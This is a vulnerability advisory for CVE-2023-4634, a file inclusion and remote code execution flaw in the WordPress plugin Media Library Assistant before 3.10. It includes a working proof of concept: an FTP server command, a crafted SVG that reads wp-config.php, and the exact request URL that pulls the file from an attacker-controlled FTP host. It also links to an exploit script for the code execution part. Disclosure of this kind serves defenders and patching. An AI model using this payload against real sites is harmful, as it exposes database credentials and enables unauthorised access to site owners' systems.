Media Library Assistant < 3.10 – Unauthenticated Local/Remote File Inclusion & Remote Code Execution | CVE 2023-4634

Description

The plugin is vulnerable to Local File Inclusion and Remote Code Execution in versions up to, and including, 3.09. This is due to insufficient controls on file paths being supplied to the 'mla_stream_file' parameter from the ~/includes/mla-stream-image.php file, where images are processed via Imagick(). This makes it possible for unauthenticated attackers to supply files via FTP that will make directory lists, local file inclusion, and remote code execution possible.

Proof of Concept

LFI:

1. Set up a local FTP server. This may be done using python as follows:

python3 -m pyftpdlib -p 2122

2. Add files `lfi.svg` and `lfi.svg[0]` with the following content:

<svg width="500" height="500"
xmlns:xlink="http://www.w3.org/1999/xlink">
xmlns="http://www.w3.org/2000/svg">
<image xlink:href= "text:../../../../wp-config.php" width="500" height="500" />
</svg>

3. Ensure that ImageMagick on the server supports the SVG format (`identify -list format | grep -i svg`).

4. Visit `/wp-content/plugins/media-library-assistant/includes/mla-stream-image.php?mla_stream_file=ftp://FTP_SERVER:FTP_PORT/lfi.svg&mla_debug=log&mla_stream_height=500&mla_stream_width=600` with correct values of FTP_SERVER and FTP_PORT to view the contents of the `wp-config.php` file.

RCE:

See full details on in the blog post, and the exploit script on Github:

- https://patrowl.io/blog-wordpress-media-library-rce-cve-2023-4634/
- https://github.com/Patrowl/CVE-2023-4634/